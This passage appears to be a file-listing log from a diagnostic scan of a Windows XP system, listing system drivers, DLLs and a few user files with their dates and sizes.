      2017-10-29 11:05 - 2001-08-17 12:13 - 000027164 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\ce3n5.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000022044 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\cem33n5.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000022044 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\cem28n5.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000021533 ____C (Compaq Computer Corporation) C:\WINDOWS\system32\dllcache\cpqndis5.sys
      2017-10-29 11:05 - 2001-08-17 12:13 - 000021530 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\ce2n5.sys
      2017-10-29 11:05 - 2001-08-17 12:12 - 000117760 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\d100ib5.sys
      2017-10-29 11:05 - 2001-08-17 12:12 - 000039680 ____C (Silicom Ltd.) C:\WINDOWS\system32\dllcache\cb325.sys
      2017-10-29 11:05 - 2001-08-17 12:12 - 000037916 ____C (Fast Ethernet Controller Provider) C:\WINDOWS\system32\dllcache\cb102.sys
      2017-10-29 11:05 - 2001-08-17 12:11 - 000096640 ____C (Broadcom Corporation) C:\WINDOWS\system32\dllcache\b57xp32.sys
      2017-10-29 11:05 - 2001-08-17 12:11 - 000066557 ____C (Broadcom Corporation) C:\WINDOWS\system32\dllcache\bcm42u.sys
      2017-10-29 11:05 - 2001-08-17 12:11 - 000060970 ____C (Compaq Computer Corp.) C:\WINDOWS\system32\dllcache\cpqtrnd5.sys
      2017-10-29 11:05 - 2001-08-17 12:11 - 000054271 ____C (Broadcom Corporation) C:\WINDOWS\system32\dllcache\bcm42xx5.sys
      2017-10-29 11:05 - 2001-08-17 12:11 - 000039936 ____C (Conexant Systems, Inc.) C:\WINDOWS\system32\dllcache\cnxt1803.sys
      2017-10-29 11:05 - 2001-08-17 12:11 - 000031529 ____C (BreezeCOM) C:\WINDOWS\system32\dllcache\brzwlan.sys
      2017-10-29 11:05 - 2001-08-17 12:11 - 000026568 ____C (Broadcom Corporation) C:\WINDOWS\system32\dllcache\bcm4e5.sys
      2017-10-29 11:04 - 2008-08-21 14:00 - 000029184 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\asptxn.dll
      2017-10-29 11:04 - 2008-08-21 14:00 - 000010240 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\aspperf.dll
      2017-10-29 11:04 - 2001-08-17 22:36 - 000045056 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_aqadmin.dll
      2017-10-29 11:04 - 2001-08-17 22:36 - 000037376 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\atievxx.exe
      2017-10-29 11:04 - 2001-08-17 14:56 - 000268160 ____C (ATI Technologies Inc.) C:\WINDOWS\system32\dllcache\atidvai.dll
      2017-10-29 11:04 - 2001-08-17 14:56 - 000137216 ____C (ATI Technologies Inc.) C:\WINDOWS\system32\dllcache\atidrae.dll
      2017-10-29 11:04 - 2001-08-17 14:56 - 000104832 ____C (ATI Technologies Inc.) C:\WINDOWS\system32\dllcache\atiraged.dll
      2017-10-29 11:04 - 2001-08-17 14:55 - 000382592 ____C (ATI Technologies Inc.) C:\WINDOWS\system32\dllcache\atidrab.dll
      2017-10-29 11:04 - 2001-08-17 14:55 - 000096128 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ati.dll
      2017-10-29 11:04 - 2001-08-17 13:57 - 000077568 ____C (ATI Technologies, Inc.) C:\WINDOWS\system32\dllcache\ati.sys
      2017-10-29 11:04 - 2001-08-17 13:52 - 000026496 ____C (Advanced System Products, Inc.) C:\WINDOWS\system32\dllcache\asc.sys
      2017-10-29 11:04 - 2001-08-17 13:52 - 000022400 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\asc3350p.sys
      2017-10-29 11:04 - 2001-08-17 13:51 - 000014848 ____C (Advanced System Products, Inc.) C:\WINDOWS\system32\dllcache\asc3550.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000075136 ____C (ATI Technologies Inc.) C:\WINDOWS\system32\dllcache\atimpae.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000049920 ____C C:\WINDOWS\system32\dllcache\atirtcap.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000046464 ____C C:\WINDOWS\system32\dllcache\atibt829.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000026880 ____C C:\WINDOWS\system32\dllcache\atirtsnd.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000026624 ____C C:\WINDOWS\system32\dllcache\ativxbar.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000023552 ____C C:\WINDOWS\system32\dllcache\atixbar.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000019456 ____C C:\WINDOWS\system32\dllcache\ativttxx.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000017152 ____C C:\WINDOWS\system32\dllcache\atitvsnd.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000017152 ____C C:\WINDOWS\system32\dllcache\atitunep.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000010240 ____C C:\WINDOWS\system32\dllcache\atipcxxx.sys
      2017-10-29 11:04 - 2001-08-17 12:49 - 000009472 ____C C:\WINDOWS\system32\dllcache\ativmdcd.sys
      2017-10-29 11:04 - 2001-08-17 12:48 - 000289664 ____C (ATI Technologies Inc.) C:\WINDOWS\system32\dllcache\atimpab.sys
      2017-10-29 11:04 - 2001-08-17 12:48 - 000281600 ____C (ATI Technologies Inc.) C:\WINDOWS\system32\dllcache\atimtai.sys
      2017-10-29 11:04 - 2001-08-17 12:48 - 000070528 ____C (ATI Technologies Inc.) C:\WINDOWS\system32\dllcache\atiragem.sys
      2017-10-29 11:04 - 2001-08-17 12:12 - 000097354 ____C (Bay Networks, Inc.) C:\WINDOWS\system32\dllcache\aspndis3.sys
      2017-10-29 11:03 - 2008-04-13 22:05 - 000036224 ____C (ADMtek Incorporated.) C:\WINDOWS\system32\dllcache\an983.sys
      2017-10-29 11:03 - 2001-08-17 22:37 - 000024576 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\agcgauge.ax
      2017-10-29 11:03 - 2001-08-17 22:36 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_adsiisex.dll
      2017-10-29 11:03 - 2001-08-17 14:07 - 000056960 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\aic78xx.sys
      2017-10-29 11:03 - 2001-08-17 14:07 - 000055168 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\aic78u2.sys
      2017-10-29 11:03 - 2001-08-17 13:52 - 000012800 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\aha154x.sys
      2017-10-29 11:03 - 2001-08-17 13:52 - 000012032 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\amsint.sys
      2017-10-29 11:03 - 2001-08-17 13:51 - 000005248 ____C (Acer Laboratories Inc.) C:\WINDOWS\system32\dllcache\aliide.sys
      2017-10-29 11:03 - 2001-08-17 13:49 - 000026624 ____C (Acer Laboratories Inc.) C:\WINDOWS\system32\dllcache\alifir.sys
      2017-10-29 11:03 - 2001-08-17 13:47 - 000006272 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\apmbatt.sys
      2017-10-29 11:03 - 2001-08-17 12:11 - 000027678 ____C (Acer Laboratories Inc.) C:\WINDOWS\system32\dllcache\ali5261.sys
      2017-10-29 11:03 - 2001-08-17 12:11 - 000016969 ____C (AmbiCom, Inc.) C:\WINDOWS\system32\dllcache\amb8002.sys
      2017-10-29 11:02 - 2008-08-21 14:00 - 000169984 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iisui.dll
      2017-10-29 11:02 - 2008-08-21 14:00 - 000094720 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\certmap.ocx
      2017-10-29 11:02 - 2008-08-21 14:00 - 000049664 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\adrot.dll
      2017-10-29 11:02 - 2008-08-21 14:00 - 000019968 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\inetsloc.dll
      2017-10-29 11:02 - 2008-08-21 14:00 - 000014336 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iisreset.exe
      2017-10-29 11:02 - 2008-08-21 14:00 - 000007680 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\inetmgr.exe
      2017-10-29 11:02 - 2008-08-21 14:00 - 000007168 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\wamregps.dll
      2017-10-29 11:02 - 2008-08-21 14:00 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ftpsapi2.dll
      2017-10-29 11:02 - 2008-08-21 14:00 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\admxprox.dll
      2017-10-29 11:02 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iisrstap.dll
      2017-10-29 11:02 - 2008-04-14 00:16 - 000048128 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\61883.sys
      2017-10-29 11:02 - 2008-04-14 00:10 - 000012288 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\4mmdat.sys
      2017-10-29 11:02 - 2008-04-13 22:06 - 000231552 ____C (Acer Laboratories Inc.) C:\WINDOWS\system32\dllcache\ac97ali.sys
      2017-10-29 11:02 - 2008-04-13 22:06 - 000084480 ____C (VIA Technologies, Inc.) C:\WINDOWS\system32\dllcache\ac97via.sys
      2017-10-29 11:02 - 2008-04-13 22:06 - 000010880 ____C (Aureal, Inc.) C:\WINDOWS\system32\dllcache\admjoy.sys
      2017-10-29 11:02 - 2001-08-17 22:36 - 000462848 ____C (Aureal Inc.) C:\WINDOWS\system32\dllcache\a3dapi.dll
      2017-10-29 11:02 - 2001-08-17 22:36 - 000098304 ____C (Aureal Semiconductor) C:\WINDOWS\system32\dllcache\a3d.dll
      2017-10-29 11:02 - 2001-08-17 22:36 - 000061440 ____C (Color Flatbed Scanner) C:\WINDOWS\system32\dllcache\acerscad.dll
      2017-10-29 11:02 - 2001-08-17 14:56 - 000066048 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\s3legacy.dll
      2017-10-29 11:02 - 2001-08-17 14:55 - 000689216 ____C (3dfx Interactive, Inc.) C:\WINDOWS\system32\dllcache\3dfxvs.dll
      2017-10-29 11:02 - 2001-08-17 14:55 - 000038400 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\8514a.dll
      2017-10-29 11:02 - 2001-08-17 14:07 - 000101888 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\adpu160m.sys
      2017-10-29 11:02 - 2001-08-17 14:06 - 000011264 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\1394vdbg.sys
      2017-10-29 11:02 - 2001-08-17 13:53 - 000007424 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\adicvls.sys
      2017-10-29 11:02 - 2001-08-17 13:52 - 000023552 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\abp480n5.sys
      2017-10-29 11:02 - 2001-08-17 13:28 - 000762780 ____C (3Com, Inc.) C:\WINDOWS\system32\dllcache\3cwmcru.sys
      2017-10-29 11:02 - 2001-08-17 12:48 - 000148352 ____C (3dfx Interactive, Inc.) C:\WINDOWS\system32\dllcache\3dfxvsm.sys
      2017-10-29 11:02 - 2001-08-17 12:20 - 000297728 ____C (Silicon Integrated Systems Corp.) C:\WINDOWS\system32\dllcache\ac97sis.sys
      2017-10-29 11:02 - 2001-08-17 12:20 - 000096256 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\ac97intc.sys
      2017-10-29 11:02 - 2001-08-17 12:19 - 000747392 ____C (Aureal, Inc.) C:\WINDOWS\system32\dllcache\adm8830.sys
      2017-10-29 11:02 - 2001-08-17 12:19 - 000584448 ____C (Aureal, Inc.) C:\WINDOWS\system32\dllcache\adm8810.sys
      2017-10-29 11:02 - 2001-08-17 12:19 - 000553984 ____C (Aureal, Inc.) C:\WINDOWS\system32\dllcache\adm8820.sys
      2017-10-29 11:02 - 2001-08-17 12:11 - 000046112 ____C (Adaptec, Inc ) C:\WINDOWS\system32\dllcache\adptsf50.sys
      2017-10-29 11:02 - 2001-08-17 12:11 - 000020160 ____C (ADMtek Incorporated) C:\WINDOWS\system32\dllcache\adm8511.sys
      2017-10-29 07:07 - 2017-10-29 07:07 - 000000000 ____D C:\Documents and Settings\doni\Local Settings\Application Data\PCHealth
      2017-10-28 22:44 - 2017-03-09 19:43 - 000081920 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msado28.tlb
      2017-10-28 22:35 - 2017-09-09 05:10 - 011092480 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ieframe.dll
      2017-10-28 22:35 - 2017-09-09 05:10 - 002007040 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iertutil.dll
      2017-10-28 22:35 - 2017-09-09 05:10 - 000743424 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iedvtool.dll
      2017-10-28 22:35 - 2017-09-09 05:10 - 000630272 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msfeeds.dll
      2017-10-28 22:35 - 2017-09-09 05:10 - 000522240 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\jsdbgui.dll
      2017-10-28 22:35 - 2017-09-09 05:10 - 000247808 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ieproxy.dll
      2017-10-28 22:35 - 2017-09-09 05:10 - 000233984 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\jsprofilerui.dll
      2017-10-28 22:35 - 2017-09-09 05:10 - 000055296 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msfeedsbs.dll
      2017-10-28 22:35 - 2017-09-09 05:10 - 000012800 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\xpshims.dll
      2017-10-28 22:35 - 2013-07-17 02:58 - 000060160 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbaudio.sys
      2017-10-28 22:24 - 2012-01-11 21:06 - 000003072 ____C C:\WINDOWS\system32\dllcache\iacenc.dll
      2017-10-28 22:24 - 2012-01-11 21:06 - 000003072 _____ C:\WINDOWS\system32\iacenc.dll
      2017-10-27 18:44 - 2017-10-27 18:44 - 000000337 _____ C:\Documents and Settings\doni\My Documents\po.bat
      2017-10-27 13:44 - 2017-11-06 19:57 - 000042686 _____ C:\WINDOWS\ZAM.krnl.trace
      2017-10-27 13:44 - 2017-11-06 19:57 - 000011343 _____ C:\WINDOWS\ZAM_Guard.krnl.trace
      2017-10-27 13:41 - 2017-10-27 13:41 - 000001561 _____ C:\Documents and Settings\All Users\Start Menu\Programs\Internet Explorer.lnk
      2017-10-27 13:38 - 2017-10-27 14:43 - 000000000 ____D C:\Program Files\Windows Media Connect 2
      2017-10-27 13:38 - 2017-10-27 14:43 - 000000000 ____D C:\Program Files\MSXML 4.0
      2017-10-27 13:37 - 2017-10-27 13:37 - 000000000 ____D C:\WINDOWS\system32\DRM
      2017-10-27 13:35 - 2016-03-09 00:00 - 000026144 _____ (Microsoft Corporation) C:\WINDOWS\system32\spupdsvc.exe
      2017-10-27 13:28 - 2017-09-09 01:37 - 001905024 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\win32k.sys
      2017-10-27 13:28 - 2017-09-09 01:37 - 001905024 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32k.sys
      2017-10-27 13:28 - 2017-09-07 21:12 - 000456832 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mrxsmb.sys
      2017-10-27 13:28 - 2017-09-07 21:12 - 000456832 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mrxsmb.sys
      2017-10-27 13:28 - 2017-09-07 21:10 - 000359552 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\srv.sys
      2017-10-27 13:28 - 2017-09-07 21:10 - 000359552 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\srv.sys
      2017-10-27 13:28 - 2017-05-28 01:40 - 000091776 ____C (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ndiswan.sys
      2017-10-27 13:28 - 2017-05-28 01:40 - 000091776 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ndiswan.sys
      2017-10-27 13:28 - 2017-05-24 18:27 - 000993792 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kernel32.dll
      2017-10-27 13:28 - 2017-05-24 18:27 - 000993792 _____ (Microsoft Corporation) C:\WINDOWS\system32\kernel32.dll
      2017-10-27 13:28 - 2017-05-24 18:27 - 000720384 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ntdll.dll
      2017-10-27 13:28 - 2017-05-24 18:27 - 000720384 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntdll.dll
      2017-10-27 13:28 - 2017-05-24 18:27 - 000563200 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\oleaut32.dll
      2017-10-27 13:28 - 2017-05-24 18:27 - 000563200 _____ (Microsoft Corporation) C:\WINDOWS\system32\oleaut32.dll
      2017-10-27 13:28 - 2017-04-28 07:32 - 002150400 ____C (Microsoft Corporation) C:\WINDOWS\system32\ntoskrnl.exe
      2017-10-27 13:28 - 2017-04-28 07:32 - 002150400 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ntkrnlmp.exe
      2017-10-27 13:28 - 2017-04-28 06:18 - 002029056 ____C (Microsoft Corporation) C:\WINDOWS\system32\ntkrnlpa.exe
      2017-10-27 13:28 - 2017-04-28 06:18 - 002029056 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ntkrpamp.exe
      2017-10-27 13:28 - 2016-11-09 16:11 - 004470272 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msi.dll
      2017-10-27 13:28 - 2016-11-09 16:11 - 004470272 _____ (Microsoft Corporation) C:\WINDOWS\system32\msi.dll
      2017-10-27 13:28 - 2016-11-09 16:11 - 000332800 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msihnd.dll
      2017-10-27 13:28 - 2016-11-09 16:11 - 000332800 _____ (Microsoft Corporation) C:\WINDOWS\system32\msihnd.dll
      2017-10-27 13:28 - 2016-10-12 06:55 - 000730624 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\lsasrv.dll
      2017-10-27 13:28 - 2016-10-12 06:55 - 000730624 _____ (Microsoft Corporation) C:\WINDOWS\system32\lsasrv.dll
      2017-10-27 13:28 - 2016-10-12 06:55 - 000137216 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msv1_0.dll
      2017-10-27 13:28 - 2016-10-12 06:55 - 000137216 _____ (Microsoft Corporation) C:\WINDOWS\system32\msv1_0.dll
      2017-10-27 13:28 - 2016-09-08 23:04 - 000106112 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mup.sys
      2017-10-27 13:28 - 2016-09-08 23:04 - 000106112 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mup.sys
      2017-10-27 13:28 - 2016-09-08 21:34 - 000180096 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\mrxdav.sys
      2017-10-27 13:28 - 2016-09-08 21:34 - 000180096 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mrxdav.sys
      2017-10-27 13:28 - 2016-06-14 17:47 - 000346112 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\localspl.dll
      2017-10-27 13:28 - 2016-06-14 17:47 - 000346112 _____ (Microsoft Corporation) C:\WINDOWS\system32\localspl.dll
      2017-10-27 13:28 - 2016-05-11 16:54 - 000093056 ____C (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ksecdd.sys
      2017-10-27 13:28 - 2016-05-11 16:54 - 000093056 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ksecdd.sys
      2017-10-27 13:28 - 2015-12-17 20:58 - 000618496 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\advapi32.dll
      2017-10-27 13:28 - 2015-12-17 20:58 - 000618496 _____ (Microsoft Corporation) C:\WINDOWS\system32\advapi32.dll
      2017-10-27 13:28 - 2015-10-13 17:58 - 000361600 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\tcpip.sys
      2017-10-27 13:28 - 2015-10-13 17:58 - 000361600 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\tcpip.sys
      2017-10-27 13:28 - 2015-10-13 17:28 - 000226880 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\tcpip6.sys
      2017-10-27 13:28 - 2015-10-13 17:28 - 000226880 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\tcpip6.sys
      2017-10-27 13:28 - 2015-09-24 01:52 - 000154112 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\schannel.dll
      2017-10-27 13:28 - 2015-09-24 01:52 - 000154112 _____ (Microsoft Corporation) C:\WINDOWS\system32\schannel.dll
      2017-10-27 13:28 - 2015-06-25 05:11 - 000096256 ____C (Microsoft Corporation) C:\WINDOWS\system32\msiexec.exe
      2017-10-27 13:28 - 2015-06-25 05:11 - 000096256 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msiexec.exe
      2017-10-27 13:28 - 2014-09-02 22:56 - 000143744 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\fastfat.sys
      2017-10-27 13:28 - 2014-09-02 22:56 - 000143744 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\fastfat.sys
      2017-10-27 13:28 - 2014-05-29 02:46 - 000138496 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\afd.sys
      2017-10-27 13:28 - 2014-05-29 02:46 - 000138496 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\afd.sys
      2017-10-27 13:28 - 2013-11-27 22:21 - 000040960 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ndproxy.sys
      2017-10-27 13:28 - 2013-11-27 22:21 - 000040960 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ndproxy.sys
      2017-10-27 13:28 - 2013-11-13 04:59 - 000150528 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\imagehlp.dll
      2017-10-27 13:28 - 2013-11-13 04:59 - 000150528 _____ (Microsoft Corporation) C:\WINDOWS\system32\imagehlp.dll
      2017-10-27 13:28 - 2013-08-09 02:55 - 000144128 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbport.sys
      2017-10-27 13:28 - 2013-08-09 02:55 - 000144128 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usbport.sys
      2017-10-27 13:28 - 2013-08-09 02:55 - 000032384 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbccgp.sys
      2017-10-27 13:28 - 2013-08-09 02:55 - 000032384 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usbccgp.sys
      2017-10-27 13:28 - 2013-08-09 02:55 - 000005376 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbd.sys
      2017-10-27 13:28 - 2013-08-09 02:55 - 000005376 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usbd.sys
      2017-10-27 13:28 - 2013-07-17 02:58 - 000123008 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbvideo.sys
      2017-10-27 13:28 - 2013-07-17 02:58 - 000123008 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usbvideo.sys
      2017-10-27 13:28 - 2013-07-03 04:12 - 000025088 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hidparse.sys
      2017-10-27 13:28 - 2013-07-03 04:12 - 000025088 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\hidparse.sys
      2017-10-27 13:28 - 2013-07-03 03:59 - 000014976 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbscan.sys
      2017-10-27 13:28 - 2013-07-03 03:59 - 000014976 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usbscan.sys
      2017-10-27 13:28 - 2013-02-12 02:32 - 000012928 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usb8023x.sys
      2017-10-27 13:28 - 2013-02-12 02:32 - 000012928 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usb8023.sys
      2017-10-27 13:28 - 2013-02-12 02:32 - 000012928 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usb8023x.sys
      2017-10-27 13:28 - 2013-02-12 02:32 - 000012928 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usb8023.sys
      2017-10-27 13:28 - 2012-07-04 16:05 - 000139784 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\rdpwd.sys
      2017-10-27 13:28 - 2012-07-04 16:05 - 000139784 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\rdpwd.sys
      2017-10-27 13:28 - 2011-10-28 07:31 - 000033280 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\csrsrv.dll
      2017-10-27 13:28 - 2011-10-28 07:31 - 000033280 _____ (Microsoft Corporation) C:\WINDOWS\system32\csrsrv.dll
      2017-10-27 13:28 - 2011-07-08 16:02 - 000010496 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ndistapi.sys
      2017-10-27 13:28 - 2011-07-08 16:02 - 000010496 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ndistapi.sys
      2017-10-27 13:28 - 2010-08-27 07:57 - 000099840 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\srvsvc.dll
      2017-10-27 13:28 - 2010-08-27 07:57 - 000099840 _____ (Microsoft Corporation) C:\WINDOWS\system32\srvsvc.dll
      2017-10-27 13:28 - 2009-10-20 18:20 - 000265728 ____C (Microsoft Corporation) C:\WINDOWS\system32\Drivers\http.sys
      2017-10-27 13:28 - 2009-10-20 18:20 - 000265728 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\http.sys
      2017-10-27 13:28 - 2009-06-10 08:14 - 000132096 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\wkssvc.dll
      2017-10-27 13:28 - 2009-06-10 08:14 - 000132096 _____ (Microsoft Corporation) C:\WINDOWS\system32\wkssvc.dll
      2017-10-27 13:28 - 2009-03-18 13:02 - 000030336 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbehci.sys
      2017-10-27 13:28 - 2009-03-18 13:02 - 000030336 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usbehci.sys
      2017-10-27 13:28 - 2009-02-06 13:11 - 000110592 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\services.exe
      2017-10-27 13:28 - 2009-02-06 13:11 - 000110592 _____ (Microsoft Corporation) C:\WINDOWS\system32\services.exe
      2017-10-27 13:28 - 2008-06-13 13:05 - 000272128 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\bthport.sys
      2017-10-27 13:28 - 2008-06-13 13:05 - 000272128 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\bthport.sys
      2017-10-27 13:28 - 2008-05-08 16:02 - 000203136 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\rmcast.sys
      2017-10-27 13:28 - 2008-05-08 16:02 - 000203136 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\rmcast.sys
      2017-10-27 13:28 - 2008-04-14 05:45 - 000009424 ____C C:\WINDOWS\system32\dllcache\drvmain.sdb
      2017-10-27 13:28 - 2008-04-14 05:43 - 000021896 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\tdtcp.sys
      2017-10-27 13:28 - 2008-04-14 05:43 - 000021896 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\tdtcp.sys
      2017-10-27 13:28 - 2008-04-14 05:42 - 000409088 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\qmgr.dll
      2017-10-27 13:28 - 2008-04-14 05:42 - 000409088 _____ (Microsoft Corporation) C:\WINDOWS\system32\qmgr.dll
      2017-10-27 13:28 - 2008-04-14 05:42 - 000300544 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sysdm.cpl
      2017-10-27 13:28 - 2008-04-14 05:42 - 000300544 _____ (Microsoft Corporation) C:\WINDOWS\system32\sysdm.cpl
      2017-10-27 13:28 - 2008-04-14 05:42 - 000275456 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ulib.dll
      2017-10-27 13:28 - 2008-04-14 05:42 - 000275456 _____ (Microsoft Corporation) C:\WINDOWS\system32\ulib.dll
      2017-10-27 13:28 - 2008-04-14 05:42 - 000237056 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\rasapi32.dll
      2017-10-27 13:28 - 2008-04-14 05:42 - 000237056 _____ (Microsoft Corporation) C:\WINDOWS\system32\rasapi32.dll
      2017-10-27 13:28 - 2008-04-14 05:42 - 000102400 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\win32spl.dll
      2017-10-27 13:28 - 2008-04-14 05:42 - 000102400 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32spl.dll
      2017-10-27 13:28 - 2008-04-14 05:42 - 000091136 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ntprint.dll
      2017-10-27 13:28 - 2008-04-14 05:42 - 000091136 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntprint.dll
